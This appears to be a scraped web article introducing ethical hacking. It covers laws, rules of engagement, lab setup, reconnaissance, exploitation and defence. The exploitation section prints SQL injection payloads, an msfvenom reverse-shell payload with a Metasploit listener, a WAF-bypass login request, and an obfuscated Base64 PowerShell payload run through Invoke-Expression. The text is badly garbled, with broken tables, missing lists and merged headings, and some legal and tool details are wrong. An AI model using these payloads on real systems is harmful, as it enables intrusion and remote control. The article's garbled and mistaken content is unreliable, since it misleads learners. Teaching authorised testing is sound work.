How to Start Cybersecurity Hacks with Ethical Foundations

Table of Contents
- Foundational Concepts of Cybersecurity Hacking
- Legal Boundaries and Ethical Hacking
- Offensive vs. Defensive Security Practices
- Cybersecurity Frameworks: OSSTMM and PTES
- Penetration Testing Methodologies: Black-Box, White-Box, and Gray-Box
- Essential Cybersecurity Tools Categorized by Function
- Mapping Attack Surfaces: Reconnaissance Techniques
- Legal and Ethical Considerations Before Starting Cybersecurity Hacking
- Legal Implications of Unauthorized Cybersecurity Activities
- Steps to Obtain Written Permission for Authorized Penetration Testing
- Comparison of Ethical Hacking Certifications and Legal Compliance Requirements
- Setting Up a Secure Lab Environment for Practice
- Virtualization Platforms and Network Isolation
- Deploying Vulnerable Virtual Machines for Practice
- Network Segmentation and Firewall Hardening
- Comparative Analysis of Lab Setup Tools
- Capturing and Analyzing Network Traffic with Wireshark
- Hands-On Techniques for Reconnaissance and Exploitation
- Passive Reconnaissance Methodology
- Exploiting Common Vulnerabilities
- Bypassing Security Controls
- Post-Exploitation Techniques
- Check for SUID binaries
- Exploit Development Frameworks Comparison
- Defensive Strategies and Countermeasures in Cybersecurity
- System Hardening Against Common Attack Vectors
- Detecting and Mitigating Reconnaissance Activities
- Defensive Countermeasures for Specific Attack Types
Cybersecurity hacking represents a critical discipline where technical expertise intersects with ethical responsibility, enabling professionals to identify and mitigate vulnerabilities before malicious actors exploit them. This guide provides a structured approach to entering the field, balancing hands-on technical skills with legal and ethical considerations to ensure compliance and professional integrity. From foundational principles like penetration testing methodologies to the practical setup of secure lab environments, each step is designed to equip aspiring ethical hackers with actionable knowledge and real-world applicability.
The journey begins with understanding core frameworks such as OSSTMM and PTES, which serve as blueprints for systematic security assessments. Legal boundaries, including the Computer Fraud and Abuse Act (CFAA) and GDPR, are non-negotiable, requiring aspirants to navigate authorization processes meticulously through written permissions and certifications like CEH or OSCP. Simultaneously, technical proficiency demands mastery of tools such as Kali Linux and Metasploit, paired with reconnaissance techniques like OSINT, to map attack surfaces effectively. The integration of defensive strategies—such as network segmentation, SIEM alerts, and red team exercises—further solidifies the ability to simulate and counter real-world threats.

Foundational Concepts of Cybersecurity Hacking
Ethical hacking operates within a structured framework designed to identify vulnerabilities in systems while adhering to legal and ethical constraints. Unlike malicious hacking, ethical hacking focuses on defensive security by simulating real-world attacks to strengthen defenses. This discipline requires a deep understanding of offensive techniques while maintaining compliance with laws such as the Computer Fraud and Abuse Act (CFAA) and organizational policies. The distinction between offensive (penetration testing) and defensive (incident response, vulnerability management) security practices ensures that hacking activities are conducted with authorization and purpose.Core principles of ethical hacking include authorization, transparency, and accountability. Offensive security methodologies, such as penetration testing, are governed by frameworks like OSSTMM (Open Source Security Testing Methodology Manual) and PTES (Penetration Testing Execution Standard), which provide standardized approaches for assessing security posture. These frameworks categorize testing phases—from reconnaissance to post-exploitation—ensuring systematic and repeatable evaluations.
Legal Boundaries and Ethical Hacking
Ethical hacking mandates explicit written authorization from system owners before conducting any testing. Violations of this principle can result in legal consequences, including civil lawsuits or criminal charges under laws such as:Key ethical considerations include:
Ethical hacking is authorized, non-destructive, and goal-oriented, contrasting with unauthorized hacking, which exploits vulnerabilities for personal gain or malicious intent.
Offensive vs. Defensive Security Practices
Offensive security focuses on identifying and exploiting weaknesses, while defensive security aims to mitigate risks and prevent breaches. The interplay between these disciplines is critical in cybersecurity:| Aspect | Offensive Security (Penetration Testing) | Defensive Security (Incident Response) |
|---|---|---|
| Primary Goal | Discover vulnerabilities before attackers do. | Detect, contain, and recover from breaches. |
| Methodology | Simulated attacks (e.g., phishing, exploit chains). | Monitoring, logging, and threat intelligence. |
| Legal Framework | Requires explicit authorization. | Governed by compliance standards (e.g., NIST). |
| Outcome | Vulnerability reports and remediation guidance. | Incident reports and forensic analysis. |
Cybersecurity Frameworks: OSSTMM and PTES
Frameworks provide structured methodologies for security assessments, ensuring consistency and reproducibility. Two prominent frameworks are:1. OSSTMM (Open Source Security Testing Methodology Manual)
2. PTES (Penetration Testing Execution Standard)
2. Intelligence Gathering
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post-Exploitation
7. Reporting
OSSTMM is ideal for comprehensive audits, while PTES is tailored for hands-on penetration testing, making it essential for ethical hackers.
Penetration Testing Methodologies: Black-Box, White-Box, and Gray-Box
Penetration testing methodologies vary based on the tester’s knowledge of the target system. Each approach has distinct advantages and real-world applications:| Methodology | Description | Use Cases | Limitations |
|---|---|---|---|
| Black-Box | Tester has no prior knowledge of the system (simulates external attacks). | External penetration tests, red teaming, compliance assessments. | Time-consuming; may miss internal vulnerabilities. |
| White-Box | Tester has full knowledge (source code, architecture, credentials). | Code reviews, internal security audits, developer-led testing. | Less realistic; may overlook misconfigurations. |
| Gray-Box | Tester has limited knowledge (e.g., partial credentials, network access). | Hybrid assessments, phased testing (e.g., initial external + internal). | Requires careful scoping to avoid bias. |
Essential Cybersecurity Tools Categorized by Function
Tools are categorized based on their role in the penetration testing lifecycle, from reconnaissance to post-exploitation. Below is a structured table with widely used tools:| Category | Tool | Function | Example Use Case |
|---|---|---|---|
| Reconnaissance | Maltego | OSINT and data correlation for threat intelligence. | Mapping an organization’s digital footprint before an attack. |
| theHarvester | Gathers emails, subdomains, and employee data from public sources. | Identifying potential phishing targets. | |
| Exploitation | Metasploit Framework | Exploits vulnerabilities (e.g., buffer overflows, misconfigurations). | Gaining initial access via known exploits (e.g., EternalBlue). |
| Burp Suite | Web application testing (intercepting requests, SQLi/XSS detection). | Identifying flaws in authentication mechanisms. | |
| Post-Exploitation | Cobalt Strike | Adversary simulation and lateral movement. | Assessing an attacker’s ability to pivot within a network. |
| Mimikatz | Credential dumping and privilege escalation. | Extracting hashed passwords from memory. | |
| Network Analysis | Wireshark | Packet capture and protocol analysis. | Detecting malicious traffic patterns (e.g., C2 communications). |
| Nmap | Network scanning and service enumeration. | Identifying open ports and vulnerabilities (e.g., unpatched services). |
Tool Selection depends on the testing scope and target environment. For example, Kali Linux bundles many of these tools but requires customization for specific engagements.
Mapping Attack Surfaces: Reconnaissance Techniques
Reconnaissance is the initial phase of penetration testing, where attackers (or ethical hackers) gather intelligence to identify vulnerabilities. Techniques are divided into passive (non-intrusive) and active (intrusive) methods.Passive Reconnaissance:
Active Reconnaissance:

Legal and Ethical Considerations Before Starting Cybersecurity Hacking
Cybersecurity professionals must navigate a complex legal and ethical landscape to ensure their activities align with regulatory frameworks and industry standards. Unauthorized access to systems, even with benign intentions, can result in severe legal consequences, including criminal charges under laws such as the Computer Fraud and Abuse Act (CFAA) in the U.S. or the General Data Protection Regulation (GDPR) in the EU. Ethical hackers must obtain explicit written permission, document their methodologies, and adhere to strict reporting protocols to mitigate legal risks while maintaining professional integrity.The foundation of legal cybersecurity operations lies in understanding jurisdictional laws, securing proper authorization, and aligning with ethical certifications that enforce accountability. Below are structured guidelines to ensure compliance and professionalism in cybersecurity assessments.
Legal Implications of Unauthorized Cybersecurity Activities
Unauthorized cybersecurity activities—such as penetration testing without explicit consent or exploiting vulnerabilities without permission—can lead to criminal liability under national and international laws. Key legal frameworks include:- Computer Fraud and Abuse Act (CFAA) (U.S.):
Prohibits unauthorized access to protected computers, including federal government systems, financial institutions, and networks containing sensitive data. Violations can result in fines up to $250,000 and imprisonment for up to 10 years (18 U.S.C. § 1030).The CFAA does not distinguish between malicious intent and "hacking for good," meaning even ethical hackers risk prosecution if they lack proper authorization.
- General Data Protection Regulation (GDPR) (EU):
Mandates strict data protection standards, including explicit consent for accessing personal data. Unauthorized data handling can trigger fines up to 4% of global annual revenue or €20 million, whichever is higher (GDPR Art. 83).GDPR applies to organizations processing EU citizens' data, regardless of the hacker’s location.
- Computer Misuse Act (UK):
Criminalizes unauthorized access to computer systems, with penalties including unlimited fines and 10 years imprisonment (Computer Misuse Act 1990, Sections 1–3).The UK law explicitly covers "unauthorized modification" of data, which can include altering system configurations during testing.
- Penal Code § 202c (Germany):
Prohibits accessing data processing systems without authorization, with penalties up to 5 years imprisonment (StGB § 202c).Germany’s strict stance reflects its emphasis on digital sovereignty and data protection.
Case Study: Aaron Swartz (2013)
Swartz, a prominent internet activist, was prosecuted under the CFAA for downloading academic journals from JSTOR without authorization. Despite his advocacy for open access, his case highlighted the lack of legal safeguards for ethical hackers and led to debates on reforming the CFAA. His tragic outcome underscores the importance of documented permission and alignment with legal boundaries.
Steps to Obtain Written Permission for Authorized Penetration Testing
Before conducting any cybersecurity assessment, professionals must secure written authorization (often called a Rules of Engagement (RoE) document) from the system owner. This document serves as legal protection and defines the scope, limitations, and reporting requirements. Below are the essential steps to obtain and structure permission:Context for Authorization
A well-drafted RoE clarifies expectations, reduces legal risks, and ensures transparency between the hacker and the client. Without it, even authorized tests may be misinterpreted as malicious activity. Key components of an RoE include:
Contract Template Structure
A standardized RoE template should include the following sections:
-
Introduction
- Purpose of the assessment (e.g., compliance, risk mitigation).
- Parties involved (client, ethical hacker, third-party tools).
-
Scope of Engagement
- In-scope systems (e.g., "Web Application: example.com, IP 192.0.2.1").
- Out-of-scope systems (e.g., "Third-party SaaS platforms not owned by Client").
- Testing methodologies (e.g., "OWASP Top 10, NIST SP 800-115").
-
Rules and Restrictions
- Prohibited actions (e.g., "No physical access to hardware; no social engineering").
- Data handling policies (e.g., "No exfiltration of sensitive data; encryption required").
-
Scheduling and Coordination
- Testing windows (e.g., "Weekly, 9 AM–5 PM EST, excluding holidays").
- Notification procedures (e.g., "24-hour advance notice for critical tests").
-
Reporting and Remediation
- Vulnerability disclosure timeline (e.g., "Within 72 hours of discovery").
- Remediation deadlines (e.g., "Critical vulnerabilities patched within 30 days").
-
Liability and Confidentiality
- Limitation of liability (e.g., "Client waives claims for indirect damages").
- Non-disclosure agreement (NDA) for discovered vulnerabilities.
-
Termination Clauses
- Conditions for early termination (e.g., "If testing disrupts production systems").
- Data destruction requirements post-engagement.
"Engager shall not perform the following actions:Best Practices for Permission
Denial-of-Service (DoS) or Distributed Denial-of-Service (DDoS) attacks. Physical tampering with hardware or network infrastructure. Social engineering targeting employees without prior approval. Attempting to access or modify data not explicitly listed in the scope."
Comparison of Ethical Hacking Certifications and Legal Compliance Requirements
Ethical hacking certifications provide structured learning paths and enforce professional standards, but their legal implications vary based on scope, jurisdiction, and certification body policies. Below is a comparison of three prominent certifications—Certified Ethical Hacker (CEH), Offensive Security Certified Professional (OSCP), and Certified Information Systems Security Professional (CISSP)—focusing on their alignment with legal and ethical practices.Certification Overview Table
| Certification | Issuing Body | Focus Area | Legal/Ethical Emphasis | Requirements for Maintenance | Jurisdictional Considerations | |||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Certified Ethical Hacker (CEH) | EC-Council | Hands-on hacking techniques, penetration testing methodologies. |
|
| Category | Free Tools | Paid Tools | Key Differences |
|---|---|---|---|
| Virtualization | VirtualBox (Open-source) | VMware Workstation Pro ($199/year) | VMware supports snapshots, cloning, and advanced networking (e.g., NAT64). |
| QEMU/KVM (Linux) | Hyper-V (Windows Server) | KVM requires Linux host; Hyper-V integrates with Active Directory. | |
| Vulnerable VMs | Metasploitable 2/3 (Free) | Kioptrix (Free) / OWASP Juice Shop (Paid) | Paid tools often include automated exploit scenarios and CTF challenges. |
| Traffic Analysis | Wireshark (Free) | NetworkMiner Pro ($1,200) | Pro tools offer automated protocol decoding and forensic analysis. |
| Network Segmentation | VirtualBox VLANs (Free) | Cisco Packet Tracer (Free) / GNS3 (Free) | Enterprise tools (e.g., Cisco ASA) support stateful inspection and VPN. |
Note: Some "free" tools (e.g., Metasploitable) are unsupported and should not be used on production networks. Always verify tool legitimacy via official sources.
Capturing and Analyzing Network Traffic with Wireshark
Wireshark is a powerful tool for inspecting packets, identifying malicious activity, and analyzing protocol behavior. Below are steps for capturing and filtering traffic in a lab environment:#### Basic Setup
1. Install Wireshark:
Hands-On Techniques for Reconnaissance and Exploitation
Reconnaissance and exploitation form the core phases of offensive cybersecurity, where systematic information gathering precedes targeted vulnerability assessment and attack simulation. Passive reconnaissance leverages publicly available data to profile targets without direct interaction, while exploitation techniques exploit identified weaknesses to demonstrate real-world attack vectors. This section provides structured methodologies for passive reconnaissance, vulnerability exploitation, and evasion techniques, alongside comparative analyses of exploit development frameworks.Passive Reconnaissance Methodology
Passive reconnaissance involves collecting intelligence from open sources without triggering alerts or modifying target systems. This phase establishes a baseline for active engagement by identifying IP ranges, domain ownership, subdomains, and network infrastructure.DNS Enumeration and WHOIS Lookups
DNS records and WHOIS data expose critical infrastructure details, including domain registrant information, name servers, and subdomain relationships. Tools like `dig`, `nslookup`, and `dnsenum` automate this process, while WHOIS queries via `whois` or online databases (e.g., ICANN Lookup) reveal registration dates, contact details, and historical changes.
Example Commands:OSINT Frameworks and Automation# DNS Zone Transfer (if allowed)
dig axfr example.com @ns1.example.com# Subdomain Enumeration
dnsenum --enum -d example.com# WHOIS Query
whois example.com | grep -E "Registrar|Creation Date|Name Server"
Frameworks like theHarvester, Maltego, and SpiderFoot integrate multiple data sources (search engines, social media, code repositories) to compile comprehensive target profiles. Automation scripts in Python (e.g., using `requests` and `BeautifulSoup`) can scrape metadata from websites, while APIs like Shodan or Censys provide real-time asset discovery.
Automated OSINT Workflow:import requests
from bs4 import BeautifulSoupdef scrape_metadata(url):
headers = {'User-Agent': 'Mozilla/5.0'}
response = requests.get(url, headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
return {
'title': soup.title.string,
'links': [a['href'] for a in soup.find_all('a', href=True)],
'metadata': soup.find_all('meta')
}
Exploiting Common Vulnerabilities
Exploitation techniques target specific vulnerabilities (e.g., SQL injection, cross-site scripting, buffer overflows) to demonstrate attack feasibility. Metasploit Framework and custom scripts automate payload delivery, while manual exploitation requires deep understanding of vulnerability mechanics.SQL Injection (SQLi) Exploitation
SQLi vulnerabilities arise from improper input sanitization, allowing attackers to manipulate database queries. Tools like SQLmap automate exploitation, while manual techniques involve crafting payloads to extract data or execute commands.
Manual SQLi Payload Examples:Cross-Site Scripting (XSS) and Payload Delivery-- Classic UNION-based payload
' UNION SELECT 1, table_name, 3 FROM information_schema.tables---- Time-based blind SQLi
' AND IF(1=1, SLEEP(5), 0)--
XSS exploits client-side vulnerabilities to execute arbitrary JavaScript. Burp Suite intercepts and modifies requests to inject payloads, while BeEF (Browser Exploitation Framework) hooks victims for post-exploitation.
Stored XSS Payload:Buffer Overflow Exploitation
Buffer overflows occur when programs write beyond allocated memory, corrupting adjacent data. Metasploit’s `exploit/multi/handler` and custom shellcode (e.g., generated by msfvenom) exploit stack-based overflows.
Metasploit Buffer Overflow Workflow:# Generate payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > exploit.exe# Set up listener
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST 10.0.0.1
exploit
Bypassing Security Controls
Web Application Firewalls (WAFs), Intrusion Detection Systems (IDS), and antivirus software detect and block malicious traffic. Evasion techniques include payload obfuscation, encoding, and protocol manipulation.WAF Bypass Techniques
WAFs filter known attack patterns (e.g., SQL keywords). Bypassing involves:
Example WAF Bypass Payload:Payload Obfuscationimport requests
import urllib3url = "http://target.com/login"
payload = {
"username": "admin'--",
"password": "x"
}
headers = {"X-Forwarded-For": "127.0.0.1", "User-Agent": "Mozilla/5.0"}
response = requests.post(url, data=payload, headers=headers)
Obfuscation techniques (e.g., Base64 encoding, XOR encryption) evade signature-based detection. Tools like Veil-Evasion generate custom payloads with dynamic obfuscation.
Base64-Obfuscated PowerShell Payload:$encoded = "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADAAMQA1ADAAMQA0AC4AMQA4ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIA=="
$bytes = [System.Convert]::FromBase64String($encoded)
$script = [System.Text.Encoding]::UTF8.GetString($bytes)
Invoke-Expression $script
Post-Exploitation Techniques
Post-exploitation involves maintaining access, escalating privileges, and moving laterally within a network. Techniques include credential dumping, persistence mechanisms, and pivoting to internal systems.Privilege Escalation Methods:
Windows: Token impersonation (`incognito`), service exploits (`ms17-010`). Linux: SUID binaries, cron jobs, kernel exploits (`DirtyCow`). Active Directory: Golden Ticket attacks (`Mimikatz`), Kerberoasting. Lateral Movement Tools:
PowerShell Empire: Post-exploitation modules for credential harvesting. Cobalt Strike: Pivoting via SOCKS proxies. Linux: `ssh`, `netcat`, or `chisel` for tunneling.
Automated Privilege Escalation Script (Linux):#!/bin/bash
Check for SUID binaries
find / -perm -4000 -type f 2>/dev/null | while read file; do
echo "[+] SUID Binary: $file"
done# Check cron jobs
crontab -l 2>/dev/null | grep -v "^#"
Exploit Development Frameworks Comparison
Exploit development frameworks provide structured environments for crafting, testing, and integrating exploits. Metasploit, Exploit-DB, and Shellcode serve distinct roles in offensive operations.| Framework | Use Case | Integration with Metasploit | Example Tools/Modules
Defensive Strategies and Countermeasures in Cybersecurity
Defensive cybersecurity focuses on proactively hardening systems, detecting threats early, and mitigating vulnerabilities before exploitation. Organizations implement layered countermeasures—ranging from technical configurations to deceptive technologies—to neutralize attack vectors such as misconfigured services, credential theft, or supply-chain compromises. This section explores systematic approaches to system hardening, threat detection, and proactive defense mechanisms, including structured countermeasures for common attack types and the strategic use of red/blue team exercises.
System Hardening Against Common Attack Vectors
System hardening reduces the attack surface by eliminating unnecessary services, enforcing strict access controls, and applying security patches. Attackers exploit default configurations, outdated software, and excessive permissions; mitigating these risks involves a combination of policy enforcement and technical controls.
Patch Management and Vulnerability Mitigation
Regular patching addresses known vulnerabilities in operating systems, applications, and firmware. Organizations should prioritize patches based on severity (e.g., CVSS scores) and test updates in staging environments before deployment. For example:
Best Practice: Patch within 48 hours of disclosure for critical vulnerabilities (CVE severity ≥ 9.0) and document exceptions with risk acceptance.Least-Privilege Access and Role-Based Controls
Overprivileged accounts are a primary attack vector. Implement Just Enough Administration (JEA) in Windows or sudo rules in Linux to restrict user permissions to only necessary tasks. Example configurations:
# Restrict 'dev' user to only run 'git' and 'docker build'
User_Alias DEV_USERS = dev
Cmnd_Alias DEV_TASKS = /usr/bin/git, /usr/bin/docker build
DEV_USERS ALL=(ALL) NOPASSWD: DEV_TASKS
Disabling Unnecessary Services
Attackers target services like SMB (Port 445), RDP (Port 3389), or FTP (Port 21). Disable or restrict these via:
# Disable SMBv1 (vulnerable to EternalBlue)
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol
- Linux:
# Stop and mask FTP service (systemd)
sudo systemctl stop vsftpd
sudo systemctl mask vsftpd
Detecting and Mitigating Reconnaissance Activities
Reconnaissance—such as port scanning, DNS enumeration, or OSINT gathering—precedes most attacks. Organizations must monitor for suspicious patterns using Security Information and Event Management (SIEM) tools and log analysis. Early detection reduces dwell time and limits lateral movement.SIEM and Log Analysis Tools
// Kibana Discovery Query
"event.dataset": "suricata.alert" AND "suricata.alert.rule": "ET SCAN Potential Scan"
- Visualize DNS tunneling via Kibana dashboards (e.g., `dns.qry.name: "*.internal-domain.com"`).
Behavioral Anomaly Detection
alert tcp any any -> any any (msg:"Recon - Masscan Port Sweep"; flow:to_server,established; threshold:type threshold, track by_src, count 50, seconds 60; sid:1000001; rev:1;)
Honeypots and Deceptive Technologies
Honeypots lure attackers into revealing their tactics, while canary tokens (e.g., CanaryTokens.org) detect credential stuffing or data exfiltration attempts.
docker run -p 2222:22 -d cowrie/cowrie
- Canary Tokens:
Defensive Countermeasures for Specific Attack Types
Below is a structured table of countermeasures for high-impact attack vectors, including implementation steps and tools.| Attack Type | Countermeasure | Implementation Steps | Tools/Technologies |
|---|---|---|---|
| Phishing | Email Filtering |
|
DMARCian, Proofpoint, Mimecast |
| Endpoint Detection |
|
CrowdStrike, SentinelOne, Microsoft Defender | |
| Multi-Factor Authentication (MFA) |
|
Duo Security, YubiKey, Azure MFA | |
| Ransomware | Immutable Backups |
|
Veeam, Rubrik, AWS Backup |
| Network Segmentation |
|
Leave a Comment
Comments are moderated before appearing. The data you submit is processed according to the Privacy Policy of ir.msu.ac.zw.